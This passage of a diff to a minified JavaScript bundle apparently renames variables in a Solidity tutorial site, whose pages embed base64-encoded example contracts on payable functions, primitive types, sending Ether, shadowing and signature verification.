heWFibGUgX3RvLCB1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgLy8gTm90ZSB0aGF0ICJ0byIgaXMgZGVjbGFyZWQgYXMgcGF5YWJsZQogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],eW=`

          Functions and addresses declared payable can receive ether into the contract.

          +`,tW=({prev:s,next:a})=>r.jsx(u,{version:nW,title:lW,description:pW,html:cW,prev:s,next:a,codes:eW}),oW="0.8.24",rW="Payable",iW="An example of how to use the keyword payable in Solidity",gW=[{fileName:"Payable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFBheWFibGUgewogICAgLy8gUGF5YWJsZSBhZGRyZXNzIGNhbiBzZW5kIEV0aGVyIHZpYSB0cmFuc2ZlciBvciBzZW5kCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIG93bmVyOwoKICAgIC8vIFBheWFibGUgY29uc3RydWN0b3IgY2FuIHJlY2VpdmUgRXRoZXIKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGRlcG9zaXQgRXRoZXIgaW50byB0aGlzIGNvbnRyYWN0LgogICAgLy8gQ2FsbCB0aGlzIGZ1bmN0aW9uIGFsb25nIHdpdGggc29tZSBFdGhlci4KICAgIC8vIFRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3Qgd2lsbCBiZSBhdXRvbWF0aWNhbGx5IHVwZGF0ZWQuCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUge30KCiAgICAvLyBDYWxsIHRoaXMgZnVuY3Rpb24gYWxvbmcgd2l0aCBzb21lIEV0aGVyLgogICAgLy8gVGhlIGZ1bmN0aW9uIHdpbGwgdGhyb3cgYW4gZXJyb3Igc2luY2UgdGhpcyBmdW5jdGlvbiBpcyBub3QgcGF5YWJsZS4KICAgIGZ1bmN0aW9uIG5vdFBheWFibGUoKSBwdWJsaWMge30KCiAgICAvLyBGdW5jdGlvbiB0byB3aXRoZHJhdyBhbGwgRXRoZXIgZnJvbSB0aGlzIGNvbnRyYWN0LgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIC8vIGdldCB0aGUgYW1vdW50IG9mIEV0aGVyIHN0b3JlZCBpbiB0aGlzIGNvbnRyYWN0CiAgICAgICAgdWludDI1NiBhbW91bnQgPSBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CgogICAgICAgIC8vIHNlbmQgYWxsIEV0aGVyIHRvIG93bmVyCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0gb3duZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICAvLyBGdW5jdGlvbiB0byB0cmFuc2ZlciBFdGhlciBmcm9tIHRoaXMgY29udHJhY3QgdG8gYWRkcmVzcyBmcm9tIGlucHV0CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHBheWFibGUgX3RvLCB1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgLy8gTm90ZSB0aGF0ICJ0byIgaXMgZGVjbGFyZWQgYXMgcGF5YWJsZQogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],hW=`

          Functions and addresses declared payable can receive ether into the contract.

          // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -10050,7 +10612,7 @@ you can't send ether.
          
         require(success, "Failed to send Ether");
     }
 }
-
          `,cW=({prev:s,next:a})=>r.jsx(u,{version:aW,title:nW,description:lW,html:eW,prev:s,next:a,codes:pW}),tW="0.8.24",oW="Primitive Data Types",rW="Primitive data types",iW=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50MjU2IHB1YmxpYyB1MjU2ID0gNDU2OwogICAgdWludDI1NiBwdWJsaWMgdSA9IDEyMzsgLy8gdWludCBpcyBhbiBhbGlhcyBmb3IgdWludDI1NgoKICAgIC8qCiAgICBOZWdhdGl2ZSBudW1iZXJzIGFyZSBhbGxvd2VkIGZvciBpbnQgdHlwZXMuCiAgICBMaWtlIHVpbnQsIGRpZmZlcmVudCByYW5nZXMgYXJlIGF2YWlsYWJsZSBmcm9tIGludDggdG8gaW50MjU2CiAgICAKICAgIGludDI1NiByYW5nZXMgZnJvbSAtMiAqKiAyNTUgdG8gMiAqKiAyNTUgLSAxCiAgICBpbnQxMjggcmFuZ2VzIGZyb20gLTIgKiogMTI3IHRvIDIgKiogMTI3IC0gMQogICAgKi8KICAgIGludDggcHVibGljIGk4ID0gLTE7CiAgICBpbnQyNTYgcHVibGljIGkyNTYgPSA0NTY7CiAgICBpbnQyNTYgcHVibGljIGkgPSAtMTIzOyAvLyBpbnQgaXMgc2FtZSBhcyBpbnQyNTYKCiAgICAvLyBtaW5pbXVtIGFuZCBtYXhpbXVtIG9mIGludAogICAgaW50MjU2IHB1YmxpYyBtaW5JbnQgPSB0eXBlKGludDI1NikubWluOwogICAgaW50MjU2IHB1YmxpYyBtYXhJbnQgPSB0eXBlKGludDI1NikubWF4OwoKICAgIGFkZHJlc3MgcHVibGljIGFkZHIgPSAweENBMzViN2Q5MTU0NThFRjU0MGFEZTYwNjhkRmUyRjQ0RThmYTczM2M7CgogICAgLyoKICAgIEluIFNvbGlkaXR5LCB0aGUgZGF0YSB0eXBlIGJ5dGUgcmVwcmVzZW50IGEgc2VxdWVuY2Ugb2YgYnl0ZXMuIAogICAgU29saWRpdHkgcHJlc2VudHMgdHdvIHR5cGUgb2YgYnl0ZXMgdHlwZXMgOgoKICAgICAtIGZpeGVkLXNpemVkIGJ5dGUgYXJyYXlzCiAgICAgLSBkeW5hbWljYWxseS1zaXplZCBieXRlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50MjU2IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50MjU2IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],gW=`

          Here we introduce you to some primitive data types available in Solidity.

          +`,IW=({prev:s,next:a})=>r.jsx(u,{version:oW,title:rW,description:iW,html:hW,prev:s,next:a,codes:gW}),dW="0.8.24",CW="Primitive Data Types",jW="Primitive data types",uW=[{fileName:"Primitives.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByaW1pdGl2ZXMgewogICAgYm9vbCBwdWJsaWMgYm9vID0gdHJ1ZTsKCiAgICAvKgogICAgdWludCBzdGFuZHMgZm9yIHVuc2lnbmVkIGludGVnZXIsIG1lYW5pbmcgbm9uIG5lZ2F0aXZlIGludGVnZXJzCiAgICBkaWZmZXJlbnQgc2l6ZXMgYXJlIGF2YWlsYWJsZQogICAgICAgIHVpbnQ4ICAgcmFuZ2VzIGZyb20gMCB0byAyICoqIDggLSAxCiAgICAgICAgdWludDE2ICByYW5nZXMgZnJvbSAwIHRvIDIgKiogMTYgLSAxCiAgICAgICAgLi4uCiAgICAgICAgdWludDI1NiByYW5nZXMgZnJvbSAwIHRvIDIgKiogMjU2IC0gMQogICAgKi8KICAgIHVpbnQ4IHB1YmxpYyB1OCA9IDE7CiAgICB1aW50MjU2IHB1YmxpYyB1MjU2ID0gNDU2OwogICAgdWludDI1NiBwdWJsaWMgdSA9IDEyMzsgLy8gdWludCBpcyBhbiBhbGlhcyBmb3IgdWludDI1NgoKICAgIC8qCiAgICBOZWdhdGl2ZSBudW1iZXJzIGFyZSBhbGxvd2VkIGZvciBpbnQgdHlwZXMuCiAgICBMaWtlIHVpbnQsIGRpZmZlcmVudCByYW5nZXMgYXJlIGF2YWlsYWJsZSBmcm9tIGludDggdG8gaW50MjU2CiAgICAKICAgIGludDI1NiByYW5nZXMgZnJvbSAtMiAqKiAyNTUgdG8gMiAqKiAyNTUgLSAxCiAgICBpbnQxMjggcmFuZ2VzIGZyb20gLTIgKiogMTI3IHRvIDIgKiogMTI3IC0gMQogICAgKi8KICAgIGludDggcHVibGljIGk4ID0gLTE7CiAgICBpbnQyNTYgcHVibGljIGkyNTYgPSA0NTY7CiAgICBpbnQyNTYgcHVibGljIGkgPSAtMTIzOyAvLyBpbnQgaXMgc2FtZSBhcyBpbnQyNTYKCiAgICAvLyBtaW5pbXVtIGFuZCBtYXhpbXVtIG9mIGludAogICAgaW50MjU2IHB1YmxpYyBtaW5JbnQgPSB0eXBlKGludDI1NikubWluOwogICAgaW50MjU2IHB1YmxpYyBtYXhJbnQgPSB0eXBlKGludDI1NikubWF4OwoKICAgIGFkZHJlc3MgcHVibGljIGFkZHIgPSAweENBMzViN2Q5MTU0NThFRjU0MGFEZTYwNjhkRmUyRjQ0RThmYTczM2M7CgogICAgLyoKICAgIEluIFNvbGlkaXR5LCB0aGUgZGF0YSB0eXBlIGJ5dGUgcmVwcmVzZW50IGEgc2VxdWVuY2Ugb2YgYnl0ZXMuIAogICAgU29saWRpdHkgcHJlc2VudHMgdHdvIHR5cGUgb2YgYnl0ZXMgdHlwZXMgOgoKICAgICAtIGZpeGVkLXNpemVkIGJ5dGUgYXJyYXlzCiAgICAgLSBkeW5hbWljYWxseS1zaXplZCBieXRlIGFycmF5cy4KICAgICAKICAgICBUaGUgdGVybSBieXRlcyBpbiBTb2xpZGl0eSByZXByZXNlbnRzIGEgZHluYW1pYyBhcnJheSBvZiBieXRlcy4gCiAgICAgSXTigJlzIGEgc2hvcnRoYW5kIGZvciBieXRlW10gLgogICAgKi8KICAgIGJ5dGVzMSBhID0gMHhiNTsgLy8gIFsxMDExMDEwMV0KICAgIGJ5dGVzMSBiID0gMHg1NjsgLy8gIFswMTAxMDExMF0KCiAgICAvLyBEZWZhdWx0IHZhbHVlcwogICAgLy8gVW5hc3NpZ25lZCB2YXJpYWJsZXMgaGF2ZSBhIGRlZmF1bHQgdmFsdWUKICAgIGJvb2wgcHVibGljIGRlZmF1bHRCb287IC8vIGZhbHNlCiAgICB1aW50MjU2IHB1YmxpYyBkZWZhdWx0VWludDsgLy8gMAogICAgaW50MjU2IHB1YmxpYyBkZWZhdWx0SW50OyAvLyAwCiAgICBhZGRyZXNzIHB1YmxpYyBkZWZhdWx0QWRkcjsgLy8gMHgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCn0K"}],AW=`

          Here we introduce you to some primitive data types available in Solidity.

          • boolean
          • uint256
            • @@ -10112,7 +10674,7 @@ you can't send ether.

            int256 public defaultInt; // 0 address public defaultAddr; // 0x0000000000000000000000000000000000000000 } -`,hW=({prev:s,next:a})=>r.jsx(u,{version:tW,title:oW,description:rW,html:gW,prev:s,next:a,codes:iW}),dW="0.8.24",IW="Sending Ether (transfer, send, call)",CW="An example of sending Ether in Solidity",jW=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKICAgIHJlY2VpdmUoKSBleGlzdHM/ICBmYWxsYmFjaygpCiAgICAgICAgIC8gICBcCiAgICAgICAgeWVzICAgbm8KICAgICAgICAvICAgICAgXAogICAgcmVjZWl2ZSgpICAgZmFsbGJhY2soKQogICAgKi8KCiAgICAvLyBGdW5jdGlvbiB0byByZWNlaXZlIEV0aGVyLiBtc2cuZGF0YSBtdXN0IGJlIGVtcHR5CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIG1zZy5kYXRhIGlzIG5vdCBlbXB0eQogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cgpjb250cmFjdCBTZW5kRXRoZXIgewogICAgZnVuY3Rpb24gc2VuZFZpYVRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vIGxvbmdlciByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhU2VuZChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gU2VuZCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vdCByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBib29sIHNlbnQgPSBfdG8uc2VuZChtc2cudmFsdWUpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gc2VuZFZpYUNhbGwoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIENhbGwgcmV0dXJucyBhIGJvb2xlYW4gdmFsdWUgaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUuCiAgICAgICAgLy8gVGhpcyBpcyB0aGUgY3VycmVudCByZWNvbW1lbmRlZCBtZXRob2QgdG8gdXNlLgogICAgICAgIChib29sIHNlbnQsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],uW=`

            How to send Ether?

            +`,yW=({prev:s,next:a})=>r.jsx(u,{version:dW,title:CW,description:jW,html:AW,prev:s,next:a,codes:uW}),mW="0.8.24",bW="Sending Ether (transfer, send, call)",wW="An example of sending Ether in Solidity",kW=[{fileName:"SendingEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVFdGhlciB7CiAgICAvKgogICAgV2hpY2ggZnVuY3Rpb24gaXMgY2FsbGVkLCBmYWxsYmFjaygpIG9yIHJlY2VpdmUoKT8KCiAgICAgICAgICAgc2VuZCBFdGhlcgogICAgICAgICAgICAgICB8CiAgICAgICAgIG1zZy5kYXRhIGlzIGVtcHR5PwogICAgICAgICAgICAgIC8gXAogICAgICAgICAgICB5ZXMgIG5vCiAgICAgICAgICAgIC8gICAgIFwKICAgIHJlY2VpdmUoKSBleGlzdHM/ICBmYWxsYmFjaygpCiAgICAgICAgIC8gICBcCiAgICAgICAgeWVzICAgbm8KICAgICAgICAvICAgICAgXAogICAgcmVjZWl2ZSgpICAgZmFsbGJhY2soKQogICAgKi8KCiAgICAvLyBGdW5jdGlvbiB0byByZWNlaXZlIEV0aGVyLiBtc2cuZGF0YSBtdXN0IGJlIGVtcHR5CiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIG1zZy5kYXRhIGlzIG5vdCBlbXB0eQogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cgpjb250cmFjdCBTZW5kRXRoZXIgewogICAgZnVuY3Rpb24gc2VuZFZpYVRyYW5zZmVyKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vIGxvbmdlciByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kVmlhU2VuZChhZGRyZXNzIHBheWFibGUgX3RvKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gU2VuZCByZXR1cm5zIGEgYm9vbGVhbiB2YWx1ZSBpbmRpY2F0aW5nIHN1Y2Nlc3Mgb3IgZmFpbHVyZS4KICAgICAgICAvLyBUaGlzIGZ1bmN0aW9uIGlzIG5vdCByZWNvbW1lbmRlZCBmb3Igc2VuZGluZyBFdGhlci4KICAgICAgICBib29sIHNlbnQgPSBfdG8uc2VuZChtc2cudmFsdWUpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gc2VuZFZpYUNhbGwoYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIC8vIENhbGwgcmV0dXJucyBhIGJvb2xlYW4gdmFsdWUgaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUuCiAgICAgICAgLy8gVGhpcyBpcyB0aGUgY3VycmVudCByZWNvbW1lbmRlZCBtZXRob2QgdG8gdXNlLgogICAgICAgIChib29sIHNlbnQsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],ZW=`

            How to send Ether?

            You can send Ether to other contracts by

            • transfer (2300 gas, throws error)
              • @@ -10184,7 +10746,7 @@ you can't send ether.

              require(sent, "Failed to send Ether"); } } -`,yW=({prev:s,next:a})=>r.jsx(u,{version:dW,title:IW,description:CW,html:uW,prev:s,next:a,codes:jW}),AW="0.8.24",mW="Shadowing Inherited State Variables",bW="An example of shadowing state variables by inheritance",wW=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],kW=`

              Unlike functions, state variables cannot be overridden by re-declaring it +`,WW=({prev:s,next:a})=>r.jsx(u,{version:mW,title:bW,description:wW,html:ZW,prev:s,next:a,codes:kW}),BW="0.8.24",GW="Shadowing Inherited State Variables",VW="An example of shadowing state variables by inheritance",fW=[{fileName:"Shadow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEEgewogICAgc3RyaW5nIHB1YmxpYyBuYW1lID0gIkNvbnRyYWN0IEEiOwoKICAgIGZ1bmN0aW9uIGdldE5hbWUoKSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG5hbWU7CiAgICB9Cn0KCi8vIFNoYWRvd2luZyBpcyBkaXNhbGxvd2VkIGluIFNvbGlkaXR5IDAuNgovLyBUaGlzIHdpbGwgbm90IGNvbXBpbGUKLy8gY29udHJhY3QgQiBpcyBBIHsKLy8gICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJDb250cmFjdCBCIjsKLy8gfQoKY29udHJhY3QgQyBpcyBBIHsKICAgIC8vIFRoaXMgaXMgdGhlIGNvcnJlY3Qgd2F5IHRvIG92ZXJyaWRlIGluaGVyaXRlZCBzdGF0ZSB2YXJpYWJsZXMuCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBuYW1lID0gIkNvbnRyYWN0IEMiOwogICAgfQoKICAgIC8vIEMuZ2V0TmFtZSByZXR1cm5zICJDb250cmFjdCBDIgp9Cg=="}],YW=`

              Unlike functions, state variables cannot be overridden by re-declaring it in the child contract.

              Let's learn how to correctly override inherited state variables.

              // SPDX-License-Identifier: MIT
@@ -10212,7 +10774,7 @@ in the child contract.
              
 
     // C.getName returns "Contract C"
 }
-
              `,ZW=({prev:s,next:a})=>r.jsx(u,{version:AW,title:mW,description:bW,html:kW,prev:s,next:a,codes:wW}),WW="0.8.24",GW="Verifying Signature",BW="An example of how to verify signatures in Solidity",VW=[{fileName:"Signature.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIFNpZ25hdHVyZSBWZXJpZmljYXRpb24KCkhvdyB0byBTaWduIGFuZCBWZXJpZnkKIyBTaWduaW5nCjEuIENyZWF0ZSBtZXNzYWdlIHRvIHNpZ24KMi4gSGFzaCB0aGUgbWVzc2FnZQozLiBTaWduIHRoZSBoYXNoIChvZmYgY2hhaW4sIGtlZXAgeW91ciBwcml2YXRlIGtleSBzZWNyZXQpCgojIFZlcmlmeQoxLiBSZWNyZWF0ZSBoYXNoIGZyb20gdGhlIG9yaWdpbmFsIG1lc3NhZ2UKMi4gUmVjb3ZlciBzaWduZXIgZnJvbSBzaWduYXR1cmUgYW5kIGhhc2gKMy4gQ29tcGFyZSByZWNvdmVyZWQgc2lnbmVyIHRvIGNsYWltZWQgc2lnbmVyCiovCgpjb250cmFjdCBWZXJpZnlTaWduYXR1cmUgewogICAgLyogMS4gVW5sb2NrIE1ldGFNYXNrIGFjY291bnQKICAgIGV0aGVyZXVtLmVuYWJsZSgpCiAgICAqLwoKICAgIC8qIDIuIEdldCBtZXNzYWdlIGhhc2ggdG8gc2lnbgogICAgZ2V0TWVzc2FnZUhhc2goCiAgICAgICAgMHgxNDcyM0EwOUFDZmY2RDJBNjBEY2RGN2FBNEFGZjMwOEZEREMxNjBDLAogICAgICAgIDEyMywKICAgICAgICAiY29mZmVlIGFuZCBkb251dHMiLAogICAgICAgIDEKICAgICkKCiAgICBoYXNoID0gIjB4Y2YzNmFjNGY5N2RjMTBkOTFmYzJjYmIyMGQ3MThlOTRhOGNiZmUwZjgyZWFlZGM2YTRhYTM4OTQ2ZmI3OTdjZCIKICAgICovCiAgICBmdW5jdGlvbiBnZXRNZXNzYWdlSGFzaCgKICAgICAgICBhZGRyZXNzIF90bywKICAgICAgICB1aW50MjU2IF9hbW91bnQsCiAgICAgICAgc3RyaW5nIG1lbW9yeSBfbWVzc2FnZSwKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSkpOwogICAgfQoKICAgIC8qIDMuIFNpZ24gbWVzc2FnZSBoYXNoCiAgICAjIHVzaW5nIGJyb3dzZXIKICAgIGFjY291bnQgPSAiY29weSBwYXN0ZSBhY2NvdW50IG9mIHNpZ25lciBoZXJlIgogICAgZXRoZXJldW0ucmVxdWVzdCh7IG1ldGhvZDogInBlcnNvbmFsX3NpZ24iLCBwYXJhbXM6IFthY2NvdW50LCBoYXNoXX0pLnRoZW4oY29uc29sZS5sb2cpCgogICAgIyB1c2luZyB3ZWIzCiAgICB3ZWIzLnBlcnNvbmFsLnNpZ24oaGFzaCwgd2ViMy5ldGguZGVmYXVsdEFjY291bnQsIGNvbnNvbGUubG9nKQoKICAgIFNpZ25hdHVyZSB3aWxsIGJlIGRpZmZlcmVudCBmb3IgZGlmZmVyZW50IGFjY291bnRzCiAgICAweDk5M2RhYjNkZDkxZjVjNmRjMjhlMTc0MzliZTQ3NTQ3OGY1NjM1YzkyYTU2ZTE3ZTgyMzQ5ZDNmYjJmMTY2MTk2ZjQ2NmMwYjRlMGMxNDZmMjg1MjA0ZjBkY2IxM2U1YWU2N2JjMzNmNGI4ODhlYzMyZGZlMGEwNjNlOGYzZjc4MWIKICAgICovCiAgICBmdW5jdGlvbiBnZXRFdGhTaWduZWRNZXNzYWdlSGFzaChieXRlczMyIF9tZXNzYWdlSGFzaCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICAvKgogICAgICAgIFNpZ25hdHVyZSBpcyBwcm9kdWNlZCBieSBzaWduaW5nIGEga2VjY2FrMjU2IGhhc2ggd2l0aCB0aGUgZm9sbG93aW5nIGZvcm1hdDoKICAgICAgICAiXHgxOUV0aGVyZXVtIFNpZ25lZCBNZXNzYWdlXG4iICsgbGVuKG1zZykgKyBtc2cKICAgICAgICAqLwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoIlx4MTlFdGhlcmV1bSBTaWduZWQgTWVzc2FnZTpcbjMyIiwgX21lc3NhZ2VIYXNoKQogICAgICAgICk7CiAgICB9CgogICAgLyogNC4gVmVyaWZ5IHNpZ25hdHVyZQogICAgc2lnbmVyID0gMHhCMjczMjE2QzA1